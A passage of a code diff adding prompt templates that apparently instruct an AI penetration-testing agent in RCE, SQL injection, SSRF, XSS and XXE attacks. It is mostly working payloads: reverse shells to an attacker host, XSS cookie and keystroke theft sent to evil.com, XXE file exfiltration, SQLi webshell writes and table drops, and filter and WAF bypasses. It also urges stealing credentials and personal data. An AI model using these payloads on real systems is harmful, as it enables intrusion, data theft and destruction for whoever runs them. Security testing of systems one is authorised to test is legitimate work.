1. Command injection → Write webshell
|
||||
2. File upload → LFI → RCE
|
||||
3. XXE → SSRF → internal RCE
|
||||
4. SQLi → INTO OUTFILE → RCE
|
||||
</chained_exploitation>
|
||||
</advanced_exploitation>
|
||||
|
||||
<specific_contexts>
|
||||
<imagemagick>
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
fill 'url(https://evil.com/image.jpg"|id > /tmp/output")'
|
||||
pop graphic-context
|
||||
</imagemagick>
|
||||
|
||||
<ghostscript>
|
||||
%!PS
|
||||
/outfile (%pipe%id) (w) file def
|
||||
</ghostscript>
|
||||
|
||||
<ffmpeg>
|
||||
#EXTM3U
|
||||
#EXT-X-TARGETDURATION:1
|
||||
#EXTINF:1.0,
|
||||
concat:|file:///etc/passwd
|
||||
</ffmpeg>
|
||||
|
||||
<latex>
|
||||
\immediate\write18{id > /tmp/pwn}
|
||||
\input{|"cat /etc/passwd"}
|
||||
</latex>
|
||||
</specific_contexts>
|
||||
|
||||
<container_escapes>
|
||||
<docker>
|
||||
- Privileged containers: mount host filesystem
|
||||
- Docker.sock exposure
|
||||
- Kernel exploits
|
||||
- /proc/self/exe overwrite
|
||||
</docker>
|
||||
|
||||
<kubernetes>
|
||||
- Service account tokens
|
||||
- Kubelet API access
|
||||
- Container breakout to node
|
||||
</kubernetes>
|
||||
</container_escapes>
|
||||
|
||||
<waf_bypasses>
|
||||
- Unicode normalization
|
||||
- Double URL encoding
|
||||
- Case variation mixing
|
||||
- Null bytes: %00
|
||||
- Comments: /**/i/**/d
|
||||
- Alternative commands: hostname vs uname -n
|
||||
- Path traversal: /usr/bin/id vs id
|
||||
</waf_bypasses>
|
||||
|
||||
<post_exploitation>
|
||||
<reverse_shells>
|
||||
Bash: bash -i >& /dev/tcp/attacker/4444 0>&1
|
||||
Python: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacker",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
||||
Netcat: nc -e /bin/sh attacker 4444
|
||||
PowerShell: $client = New-Object System.Net.Sockets.TCPClient("attacker",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
</reverse_shells>
|
||||
|
||||
<persistence>
|
||||
- Cron jobs
|
||||
- SSH keys
|
||||
- Web shells
|
||||
- Systemd services
|
||||
</persistence>
|
||||
</post_exploitation>
|
||||
|
||||
<validation>
|
||||
To confirm RCE:
|
||||
1. Execute unique command (id, hostname)
|
||||
2. Demonstrate file system access
|
||||
3. Show command output retrieval
|
||||
4. Achieve reverse shell
|
||||
5. Prove consistent execution
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT RCE if:
|
||||
- Only crashes application
|
||||
- Limited to specific commands
|
||||
- Sandboxed/containerized properly
|
||||
- No actual command execution
|
||||
- Output not retrievable
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Complete system compromise
|
||||
- Data exfiltration
|
||||
- Lateral movement
|
||||
- Backdoor installation
|
||||
- Service disruption
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Try all delimiters: ; | || & &&
|
||||
2. Test both Unix and Windows commands
|
||||
3. Use time-based for blind confirmation
|
||||
4. Chain with other vulnerabilities
|
||||
5. Check sudo permissions post-exploit
|
||||
6. Look for SUID binaries
|
||||
7. Test command substitution variants
|
||||
8. Monitor DNS for blind RCE
|
||||
9. Try polyglot payloads first
|
||||
10. Document full exploitation path
|
||||
</pro_tips>
|
||||
|
||||
<remember>Modern RCE often requires chaining vulnerabilities and bypassing filters. Focus on blind techniques, WAF bypasses, and achieving stable shells. Always test in the specific context - ImageMagick RCE differs from command injection.</remember>
|
||||
</rce_vulnerability_guide>
|
||||
216
strix/prompts/vulnerabilities/sql_injection.jinja
Normal file
216
strix/prompts/vulnerabilities/sql_injection.jinja
Normal file
@@ -0,0 +1,216 @@
|
||||
<sql_injection_guide>
|
||||
<title>SQL INJECTION - MASTER CLASS TECHNIQUES</title>
|
||||
|
||||
<critical>SQL Injection = direct database access = game over.</critical>
|
||||
|
||||
<injection_points>
|
||||
- URL parameters: ?id=1
|
||||
- POST body parameters
|
||||
- HTTP headers: User-Agent, Referer, X-Forwarded-For
|
||||
- Cookie values
|
||||
- JSON/XML payloads
|
||||
- File upload names
|
||||
- Session identifiers
|
||||
</injection_points>
|
||||
|
||||
<detection_techniques>
|
||||
- Time-based: ' AND SLEEP(5)--
|
||||
- Boolean-based: ' AND '1'='1 vs ' AND '1'='2
|
||||
- Error-based: ' (provoke verbose errors)
|
||||
- Out-of-band: DNS/HTTP callbacks
|
||||
- Differential response: content length changes
|
||||
- Second-order: stored and triggered later
|
||||
</detection_techniques>
|
||||
|
||||
<uncommon_contexts>
|
||||
- ORDER BY: (CASE WHEN condition THEN 1 ELSE 2 END)
|
||||
- GROUP BY: GROUP BY id HAVING 1=1--
|
||||
- INSERT: INSERT INTO users VALUES (1,'admin',(SELECT password FROM admins))--
|
||||
- UPDATE: UPDATE users SET email=(SELECT @@version) WHERE id=1
|
||||
- Functions: WHERE MATCH(title) AGAINST((SELECT password FROM users LIMIT 1))
|
||||
</uncommon_contexts>
|
||||
|
||||
<basic_payloads>
|
||||
<union_based>
|
||||
' UNION SELECT null--
|
||||
' UNION SELECT null,null--
|
||||
' UNION SELECT 1,2,3--
|
||||
' UNION SELECT 1,@@version,3--
|
||||
' UNION ALL SELECT 1,database(),3--
|
||||
</union_based>
|
||||
|
||||
<error_based>
|
||||
' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))--
|
||||
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
|
||||
' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--
|
||||
</error_based>
|
||||
|
||||
<blind_boolean>
|
||||
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--
|
||||
' AND ASCII(SUBSTRING((SELECT database()),1,1))>97--
|
||||
' AND (SELECT COUNT(*) FROM users)>5--
|
||||
</blind_boolean>
|
||||
|
||||
<blind_time>
|
||||
' AND IF(1=1,SLEEP(5),0)--
|
||||
' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)--
|
||||
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
|
||||
'; SELECT pg_sleep(5)-- (PostgreSQL)
|
||||
</blind_time>
|
||||
</basic_payloads>
|
||||
|
||||
<advanced_techniques>
|
||||
<stacked_queries>
|
||||
'; DROP TABLE users--
|
||||
'; INSERT INTO admins VALUES ('hacker','password')--
|
||||
'; UPDATE users SET password='hacked' WHERE username='admin'--
|
||||
</stacked_queries>
|
||||
|
||||
<out_of_band>
|
||||
MySQL:
|
||||
' AND LOAD_FILE(CONCAT('\\\\',database(),'.attacker.com\\a'))--
|
||||
' UNION SELECT LOAD_FILE('/etc/passwd')--
|
||||
|
||||
MSSQL:
|
||||
'; EXEC xp_dirtree '\\attacker.com\share'--
|
||||
'; EXEC xp_cmdshell 'nslookup attacker.com'--
|
||||
|
||||
PostgreSQL:
|
||||
'; CREATE EXTENSION dblink; SELECT dblink_connect('host=attacker.com')--
|
||||
</out_of_band>
|
||||
|
||||
<file_operations>
|
||||
MySQL:
|
||||
' UNION SELECT 1,2,LOAD_FILE('/etc/passwd')--
|
||||
' UNION SELECT 1,2,'<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/shell.php'--
|
||||
|
||||
MSSQL:
|
||||
'; EXEC xp_cmdshell 'type C:\Windows\win.ini'--
|
||||
|
||||
PostgreSQL:
|
||||
'; CREATE TABLE test(data text); COPY test FROM '/etc/passwd'--
|
||||
</file_operations>
|
||||
</advanced_techniques>
|
||||
|
||||
<filter_bypasses>
|
||||
<space_bypass>
|
||||
- Comments: /**/
|
||||
- Parentheses: UNION(SELECT)
|
||||
- Backticks: UNION`SELECT`
|
||||
- Newlines: %0A, %0D
|
||||
- Tabs: %09
|
||||
</space_bypass>
|
||||
|
||||
<keyword_bypass>
|
||||
- Case variation: UnIoN SeLeCt
|
||||
- Comments: UN/**/ION SE/**/LECT
|
||||
- Encoding: %55nion %53elect
|
||||
- Double words: UNUNIONION SESELECTLECT
|
||||
</keyword_bypass>
|
||||
|
||||
<waf_bypasses>
|
||||
- HTTP Parameter Pollution: id=1&id=' UNION SELECT
|
||||
- JSON/XML format switching
|
||||
- Chunked encoding
|
||||
- Unicode normalization
|
||||
- Scientific notation: 1e0 UNION SELECT
|
||||
</waf_bypasses>
|
||||
</filter_bypasses>
|
||||
|
||||
<specific_databases>
|
||||
<mysql>
|
||||
- Version: @@version
|
||||
- Database: database()
|
||||
- User: user(), current_user()
|
||||
- Tables: information_schema.tables
|
||||
- Columns: information_schema.columns
|
||||
</mysql>
|
||||
|
||||
<mssql>
|
||||
- Version: @@version
|
||||
- Database: db_name()
|
||||
- User: user_name(), system_user
|
||||
- Tables: sysobjects WHERE xtype='U'
|
||||
- Enable xp_cmdshell: sp_configure 'xp_cmdshell',1;RECONFIGURE
|
||||
</mssql>
|
||||
|
||||
<postgresql>
|
||||
- Version: version()
|
||||
- Database: current_database()
|
||||
- User: current_user
|
||||
- Tables: pg_tables
|
||||
- Command execution: CREATE EXTENSION
|
||||
</postgresql>
|
||||
|
||||
<oracle>
|
||||
- Version: SELECT banner FROM v$version
|
||||
- Database: SELECT ora_database_name FROM dual
|
||||
- User: SELECT user FROM dual
|
||||
- Tables: all_tables
|
||||
</oracle>
|
||||
</specific_databases>
|
||||
|
||||
<nosql_injection>
|
||||
<mongodb>
|
||||
{"username": {"$ne": null}, "password": {"$ne": null}}
|
||||
{"$where": "this.username == 'admin'"}
|
||||
{"username": {"$regex": "^admin"}}
|
||||
</mongodb>
|
||||
|
||||
<graphql>
|
||||
{users(where:{OR:[{id:1},{id:2}]}){id,password}}
|
||||
{__schema{types{name,fields{name}}}}
|
||||
</graphql>
|
||||
</nosql_injection>
|
||||
|
||||
<automation>
|
||||
SQLMap flags:
|
||||
- Risk/Level: --risk=3 --level=5
|
||||
- Bypass WAF: --tamper=space2comment,between
|
||||
- OS Shell: --os-shell
|
||||
- Database dump: --dump-all
|
||||
- Specific technique: --technique=T (time-based)
|
||||
</automation>
|
||||
|
||||
<validation>
|
||||
To confirm SQL injection:
|
||||
1. Demonstrate database version extraction
|
||||
2. Show database/table enumeration
|
||||
3. Extract actual data
|
||||
4. Prove query manipulation
|
||||
5. Document consistent exploitation
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
NOT SQLi if:
|
||||
- Only generic errors
|
||||
- No time delays work
|
||||
- Same response for all payloads
|
||||
- Parameterized queries properly used
|
||||
- Input validation effective
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Database content theft
|
||||
- Authentication bypass
|
||||
- Data manipulation
|
||||
- Command execution (xp_cmdshell)
|
||||
- File system access
|
||||
- Complete database takeover
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Always try UNION SELECT first
|
||||
2. Use sqlmap for automation
|
||||
3. Test all HTTP headers
|
||||
4. Try different encodings
|
||||
5. Check for second-order SQLi
|
||||
6. Test JSON/XML parameters
|
||||
7. Look for error messages
|
||||
8. Try time-based for blind
|
||||
9. Check INSERT/UPDATE contexts
|
||||
10. Focus on data extraction
|
||||
</pro_tips>
|
||||
|
||||
<remember>Modern SQLi requires bypassing WAFs and dealing with complex queries. Focus on extracting sensitive data - passwords, API keys, PII. Time-based blind SQLi works when nothing else does.</remember>
|
||||
</sql_injection_guide>
|
||||
168
strix/prompts/vulnerabilities/ssrf.jinja
Normal file
168
strix/prompts/vulnerabilities/ssrf.jinja
Normal file
@@ -0,0 +1,168 @@
|
||||
<ssrf_vulnerability_guide>
|
||||
<title>SERVER-SIDE REQUEST FORGERY (SSRF) - ADVANCED EXPLOITATION</title>
|
||||
|
||||
<critical>SSRF can lead to internal network access, cloud metadata theft, and complete infrastructure compromise.</critical>
|
||||
|
||||
<common_injection_points>
|
||||
- URL parameters: url=, link=, path=, src=, href=, uri=
|
||||
- File import/export features
|
||||
- Webhooks and callbacks
|
||||
- PDF generators (wkhtmltopdf)
|
||||
- Image processing (ImageMagick)
|
||||
- Document parsers
|
||||
- Payment gateways (IPN callbacks)
|
||||
- Social media card generators
|
||||
- URL shorteners/expanders
|
||||
</common_injection_points>
|
||||
|
||||
<hidden_contexts>
|
||||
- Referer headers in analytics
|
||||
- Link preview generation
|
||||
- RSS/Feed fetchers
|
||||
- Repository cloning (Git/SVN)
|
||||
- Package managers (npm, pip)
|
||||
- Calendar invites (ICS files)
|
||||
- OAuth redirect_uri
|
||||
- SAML endpoints
|
||||
- GraphQL field resolvers
|
||||
</hidden_contexts>
|
||||
|
||||
<cloud_metadata>
|
||||
<aws>
|
||||
Legacy: http://169.254.169.254/latest/meta-data/
|
||||
IMDSv2: Requires token but check if app proxies headers
|
||||
Key targets: /iam/security-credentials/, /user-data/
|
||||
</aws>
|
||||
|
||||
<google_cloud>
|
||||
http://metadata.google.internal/computeMetadata/v1/
|
||||
Requires: Metadata-Flavor: Google header
|
||||
Target: /instance/service-accounts/default/token
|
||||
</google_cloud>
|
||||
|
||||
<azure>
|
||||
http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
||||
Requires: Metadata: true header
|
||||
OAuth: /metadata/identity/oauth2/token
|
||||
</azure>
|
||||
</cloud_metadata>
|
||||
|
||||
<internal_services>
|
||||
<port_scanning>
|
||||
Common ports: 21,22,80,443,445,1433,3306,3389,5432,6379,8080,9200,27017
|
||||
</port_scanning>
|
||||
|
||||
<service_fingerprinting>
|
||||
- Elasticsearch: http://localhost:9200/_cat/indices
|
||||
- Redis: dict://localhost:6379/INFO
|
||||
- MongoDB: http://localhost:27017/test
|
||||
- Docker: http://localhost:2375/v1.24/containers/json
|
||||
- Kubernetes: https://kubernetes.default.svc/api/v1/
|
||||
</service_fingerprinting>
|
||||
</internal_services>
|
||||
|
||||
<protocol_exploitation>
|
||||
<gopher>
|
||||
Redis RCE, SMTP injection, FastCGI exploitation
|
||||
</gopher>
|
||||
|
||||
<file>
|
||||
file:///etc/passwd, file:///proc/self/environ
|
||||
</file>
|
||||
|
||||
<dict>
|
||||
dict://localhost:11211/stat (Memcached)
|
||||
</dict>
|
||||
</protocol_exploitation>
|
||||
|
||||
<bypass_techniques>
|
||||
<dns_rebinding>
|
||||
First request → your server, second → 127.0.0.1
|
||||
</dns_rebinding>
|
||||
|
||||
<encoding_tricks>
|
||||
- Decimal IP: http://2130706433/ (127.0.0.1)
|
||||
- Octal: http://0177.0.0.1/
|
||||
- Hex: http://0x7f.0x0.0x0.0x1/
|
||||
- IPv6: http://[::1]/, http://[::ffff:127.0.0.1]/
|
||||
</encoding_tricks>
|
||||
|
||||
<url_parser_confusion>
|
||||
- Authority: http://expected@evil/
|
||||
- Unicode: http://⑯⑨。②⑤④。⑯⑨。②⑤④/
|
||||
</url_parser_confusion>
|
||||
|
||||
<redirect_chains>
|
||||
302 → yourserver.com → 169.254.169.254
|
||||
</redirect_chains>
|
||||
</bypass_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<blind_ssrf>
|
||||
- DNS exfiltration: http://$(hostname).attacker.com/
|
||||
- Timing attacks for network mapping
|
||||
- Error-based detection
|
||||
</blind_ssrf>
|
||||
|
||||
<ssrf_to_rce>
|
||||
- Redis: gopher://localhost:6379/ (cron injection)
|
||||
- Memcached: gopher://localhost:11211/
|
||||
- FastCGI: gopher://localhost:9000/
|
||||
</ssrf_to_rce>
|
||||
</advanced_techniques>
|
||||
|
||||
<filter_bypasses>
|
||||
<localhost>
|
||||
127.1, 0177.0.0.1, 0x7f000001, 2130706433, 127.0.0.0/8, localtest.me
|
||||
</localhost>
|
||||
|
||||
<parser_differentials>
|
||||
http://evil.com#@good.com/, http:evil.com
|
||||
</parser_differentials>
|
||||
|
||||
<protocols>
|
||||
dict://, gopher://, ftp://, file://, jar://, netdoc://
|
||||
</protocols>
|
||||
</filter_bypasses>
|
||||
|
||||
<validation_techniques>
|
||||
To confirm SSRF:
|
||||
1. External callbacks (DNS/HTTP)
|
||||
2. Internal network access (different responses)
|
||||
3. Time-based detection (timeouts)
|
||||
4. Cloud metadata retrieval
|
||||
5. Protocol differentiation
|
||||
</validation_techniques>
|
||||
|
||||
<false_positive_indicators>
|
||||
NOT SSRF if:
|
||||
- Only client-side redirects
|
||||
- Whitelist properly blocking
|
||||
- Generic errors for all URLs
|
||||
- No outbound requests made
|
||||
- Same-origin policy enforced
|
||||
</false_positive_indicators>
|
||||
|
||||
<impact_demonstration>
|
||||
- Cloud credential theft (AWS/GCP/Azure)
|
||||
- Internal admin panel access
|
||||
- Port scanning results
|
||||
- SSRF to RCE chain
|
||||
- Data exfiltration
|
||||
</impact_demonstration>
|
||||
|
||||
<pro_tips>
|
||||
1. Always check cloud metadata first
|
||||
2. Chain with other vulns (SSRF + XXE)
|
||||
3. Use time delays for blind SSRF
|
||||
4. Try all protocols, not just HTTP
|
||||
5. Automate internal network scanning
|
||||
6. Check parser quirks (language-specific)
|
||||
7. Monitor DNS for blind confirmation
|
||||
8. Try IPv6 (often forgotten)
|
||||
9. Abuse redirects for filter bypass
|
||||
10. SSRF can be in any URL-fetching feature
|
||||
</pro_tips>
|
||||
|
||||
<remember>SSRF is often the key to cloud compromise. A single SSRF in cloud = complete account takeover through metadata access.</remember>
|
||||
</ssrf_vulnerability_guide>
|
||||
221
strix/prompts/vulnerabilities/xss.jinja
Normal file
221
strix/prompts/vulnerabilities/xss.jinja
Normal file
@@ -0,0 +1,221 @@
|
||||
<xss_vulnerability_guide>
|
||||
<title>CROSS-SITE SCRIPTING (XSS) - ADVANCED EXPLOITATION</title>
|
||||
|
||||
<critical>XSS leads to account takeover, data theft, and complete client-side compromise. Modern XSS requires sophisticated bypass techniques.</critical>
|
||||
|
||||
<injection_points>
|
||||
- URL parameters: ?search=, ?q=, ?name=
|
||||
- Form inputs: text, textarea, hidden fields
|
||||
- Headers: User-Agent, Referer, X-Forwarded-For
|
||||
- Cookies (if reflected)
|
||||
- File uploads (filename, metadata)
|
||||
- JSON endpoints: {"user":"<payload>"}
|
||||
- postMessage handlers
|
||||
- DOM properties: location.hash, document.referrer
|
||||
- WebSocket messages
|
||||
- PDF/document generators
|
||||
</injection_points>
|
||||
|
||||
<basic_detection>
|
||||
<reflection_testing>
|
||||
Simple: <random123>
|
||||
HTML: <h1>test</h1>
|
||||
Script: <script>alert(1)</script>
|
||||
Event: <img src=x onerror=alert(1)>
|
||||
Protocol: javascript:alert(1)
|
||||
</reflection_testing>
|
||||
|
||||
<encoding_contexts>
|
||||
- HTML: <>&"'
|
||||
- Attribute: "'<>&
|
||||
- JavaScript: "'\/\n\r\t
|
||||
- URL: %3C%3E%22%27
|
||||
- CSS: ()'";{}
|
||||
</encoding_contexts>
|
||||
</basic_detection>
|
||||
|
||||
<filter_bypasses>
|
||||
<tag_event_bypasses>
|
||||
<svg onload=alert(1)>
|
||||
<body onpageshow=alert(1)>
|
||||
<marquee onstart=alert(1)>
|
||||
<details open ontoggle=alert(1)>
|
||||
<audio src onloadstart=alert(1)>
|
||||
<video><source onerror=alert(1)>
|
||||
<select autofocus onfocus=alert(1)>
|
||||
<textarea autofocus>/*</textarea><svg/onload=alert(1)>
|
||||
<keygen autofocus onfocus=alert(1)>
|
||||
<frameset onload=alert(1)>
|
||||
</tag_event_bypasses>
|
||||
|
||||
<string_bypass>
|
||||
- Concatenation: 'al'+'ert'
|
||||
- Comments: /**/alert/**/
|
||||
- Template literals: `ale${`rt`}`
|
||||
- Unicode: \u0061lert
|
||||
- Hex: \x61lert
|
||||
- Octal: \141lert
|
||||
- HTML entities: 'alert'
|
||||
- Double encoding: %253Cscript%253E
|
||||
- Case variation: <ScRiPt>
|
||||
</string_bypass>
|
||||
|
||||
<parentheses_bypass>
|
||||
alert`1`
|
||||
setTimeout`alert\x281\x29`
|
||||
[].map.call`1${alert}2`
|
||||
onerror=alert;throw 1
|
||||
onerror=alert,throw 1
|
||||
onerror=alert(1)//
|
||||
</parentheses_bypass>
|
||||
|
||||
<keyword_bypass>
|
||||
- Proxy: window['al'+'ert']
|
||||
- Base64: atob('YWxlcnQ=')
|
||||
- Hex: eval('\x61\x6c\x65\x72\x74')
|
||||
- Constructor: [].constructor.constructor('alert(1)')()
|
||||
- JSFuck: [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]...
|
||||
</keyword_bypass>
|
||||
</filter_bypasses>
|
||||
|
||||
<advanced_techniques>
|
||||
<dom_xss>
|
||||
- Sinks: innerHTML, document.write, eval, setTimeout
|
||||
- Sources: location.hash, location.search, document.referrer
|
||||
- Example: element.innerHTML = location.hash
|
||||
- Exploit: #<img src=x onerror=alert(1)>
|
||||
</dom_xss>
|
||||
|
||||
<mutation_xss>
|
||||
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
|
||||
<form><button formaction=javascript:alert(1)>
|
||||
</mutation_xss>
|
||||
|
||||
<polyglot_xss>
|
||||
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
|
||||
</polyglot_xss>
|
||||
|
||||
<csp_bypasses>
|
||||
- JSONP endpoints: <script src="//site.com/jsonp?callback=alert">
|
||||
- AngularJS: {{constructor.constructor('alert(1)')()}}
|
||||
- Script gadgets in allowed libraries
|
||||
- Base tag injection: <base href="//evil.com/">
|
||||
- Object/embed: <object data="data:text/html,<script>alert(1)</script>">
|
||||
</csp_bypasses>
|
||||
</advanced_techniques>
|
||||
|
||||
<exploitation_payloads>
|
||||
<cookie_theft>
|
||||
<script>fetch('//evil.com/steal?c='+document.cookie)</script>
|
||||
<img src=x onerror="this.src='//evil.com/steal?c='+document.cookie">
|
||||
new Image().src='//evil.com/steal?c='+document.cookie
|
||||
</cookie_theft>
|
||||
|
||||
<keylogger>
|
||||
document.onkeypress=e=>fetch('//evil.com/key?k='+e.key)
|
||||
</keylogger>
|
||||
|
||||
<phishing>
|
||||
document.body.innerHTML='<form action=//evil.com/phish><input name=pass><input type=submit></form>'
|
||||
</phishing>
|
||||
|
||||
<csrf_token_theft>
|
||||
fetch('/api/user').then(r=>r.text()).then(d=>fetch('//evil.com/token?t='+d.match(/csrf_token":"([^"]+)/)[1]))
|
||||
</csrf_token_theft>
|
||||
|
||||
<webcam_mic_access>
|
||||
navigator.mediaDevices.getUserMedia({video:true}).then(s=>...)
|
||||
</webcam_mic_access>
|
||||
</exploitation_payloads>
|
||||
|
||||
<special_contexts>
|
||||
<pdf_generation>
|
||||
- JavaScript in links: <a href="javascript:app.alert(1)">
|
||||
- Form actions: <form action="javascript:...">
|
||||
</pdf_generation>
|
||||
|
||||
<email_clients>
|
||||
- Limited tags: <a>, <img>, <style>
|
||||
- CSS injection: <style>@import'//evil.com/css'</style>
|
||||
</email_clients>
|
||||
|
||||
<markdown>
|
||||
[Click](javascript:alert(1))
|
||||
)
|
||||
</markdown>
|
||||
|
||||
<react_vue>
|
||||
- dangerouslySetInnerHTML={{__html: payload}}
|
||||
- v-html directive bypass
|
||||
</react_vue>
|
||||
|
||||
<file_upload_xss>
|
||||
- SVG: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
|
||||
- HTML files
|
||||
- XML with XSLT
|
||||
- MIME type confusion
|
||||
</file_upload_xss>
|
||||
</special_contexts>
|
||||
|
||||
<blind_xss>
|
||||
<detection>
|
||||
- Out-of-band callbacks
|
||||
- Service workers for persistence
|
||||
- Polyglot payloads for multiple contexts
|
||||
</detection>
|
||||
|
||||
<payloads>
|
||||
'"><script src=//evil.com/blindxss.js></script>
|
||||
'"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vZXZpbC5jb20veHNzLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>
|
||||
</payloads>
|
||||
</blind_xss>
|
||||
|
||||
<waf_bypasses>
|
||||
<encoding>
|
||||
- HTML: <script>
|
||||
- URL: %3Cscript%3E
|
||||
- Unicode: \u003cscript\u003e
|
||||
- Mixed: <scr\x69pt>
|
||||
</encoding>
|
||||
|
||||
<obfuscation>
|
||||
<a href="javascript:alert(1)">
|
||||
<img src=x onerror="\u0061\u006C\u0065\u0072\u0074(1)">
|
||||
<svg/onload=eval(atob('YWxlcnQoMSk='))>
|
||||
</obfuscation>
|
||||
|
||||
<browser_bugs>
|
||||
- Chrome: <svg><script>alert(1)
|
||||
- Firefox specific payloads
|
||||
- IE/Edge compatibility
|
||||
</browser_bugs>
|
||||
</waf_bypasses>
|
||||
|
||||
<impact_demonstration>
|
||||
1. Account takeover via cookie/token theft
|
||||
2. Defacement proof
|
||||
3. Keylogging demonstration
|
||||
4. Internal network scanning
|
||||
5. Cryptocurrency miner injection
|
||||
6. Phishing form injection
|
||||
7. Browser exploit delivery
|
||||
8. Session hijacking
|
||||
9. CSRF attack chaining
|
||||
10. Admin panel access
|
||||
</impact_demonstration>
|
||||
|
||||
<pro_tips>
|
||||
1. Test in all browsers - payloads vary
|
||||
2. Check mobile versions - different parsers
|
||||
3. Use automation for blind XSS
|
||||
4. Chain with other vulnerabilities
|
||||
5. Focus on impact, not just alert(1)
|
||||
6. Test all input vectors systematically
|
||||
7. Understand the context deeply
|
||||
8. Keep payload library updated
|
||||
9. Monitor CSP headers
|
||||
10. Think beyond script tags
|
||||
</pro_tips>
|
||||
|
||||
<remember>Modern XSS is about bypassing filters, CSP, and WAFs. Focus on real impact - steal sessions, phish credentials, or deliver exploits. Simple alert(1) is just the beginning.</remember>
|
||||
</xss_vulnerability_guide>
|
||||
276
strix/prompts/vulnerabilities/xxe.jinja
Normal file
276
strix/prompts/vulnerabilities/xxe.jinja
Normal file
@@ -0,0 +1,276 @@
|
||||
<xxe_vulnerability_guide>
|
||||
<title>XML EXTERNAL ENTITY (XXE) - ADVANCED EXPLOITATION</title>
|
||||
|
||||
<critical>XXE leads to file disclosure, SSRF, RCE, and DoS. Often found in APIs, file uploads, and document parsers.</critical>
|
||||
|
||||
<discovery_points>
|
||||
- XML file uploads (docx, xlsx, svg, xml)
|
||||
- SOAP endpoints
|
||||
- REST APIs accepting XML
|
||||
- SAML implementations
|
||||
- RSS/Atom feeds
|
||||
- XML configuration files
|
||||
- WebDAV
|
||||
- Office document processors
|
||||
- SVG image uploads
|
||||
- PDF generators with XML input
|
||||
</discovery_points>
|
||||
|
||||
<basic_payloads>
|
||||
<file_disclosure>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<root>&xxe;</root>
|
||||
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
|
||||
<root>&xxe;</root>
|
||||
</file_disclosure>
|
||||
|
||||
<ssrf_via_xxe>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
|
||||
<root>&xxe;</root>
|
||||
</ssrf_via_xxe>
|
||||
|
||||
<blind_xxe_oob>
|
||||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
|
||||
|
||||
evil.dtd:
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
|
||||
%eval;
|
||||
%exfiltrate;
|
||||
</blind_xxe_oob>
|
||||
</basic_payloads>
|
||||
|
||||
<advanced_techniques>
|
||||
<parameter_entities>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % param "<!ENTITY % exfil SYSTEM 'http://evil.com/?d=%data;'>">
|
||||
%param;
|
||||
%exfil;
|
||||
]>
|
||||
</parameter_entities>
|
||||
|
||||
<error_based_xxe>
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
||||
%eval;
|
||||
%error;
|
||||
]>
|
||||
</error_based_xxe>
|
||||
|
||||
<xxe_in_attributes>
|
||||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
||||
<root attr="&xxe;"/>
|
||||
</xxe_in_attributes>
|
||||
</advanced_techniques>
|
||||
|
||||
<filter_bypasses>
|
||||
<encoding_tricks>
|
||||
- UTF-16: <?xml version="1.0" encoding="UTF-16"?>
|
||||
- UTF-7: <?xml version="1.0" encoding="UTF-7"?>
|
||||
- Base64 in CDATA: <![CDATA[base64_payload]]>
|
||||
</encoding_tricks>
|
||||
|
||||
<protocol_variations>
|
||||
- file:// → file:
|
||||
- file:// → netdoc://
|
||||
- http:// → https://
|
||||
- Gopher: gopher://
|
||||
- PHP wrappers: php://filter/convert.base64-encode/resource=/etc/passwd
|
||||
</protocol_variations>
|
||||
|
||||
<doctype_variations>
|
||||
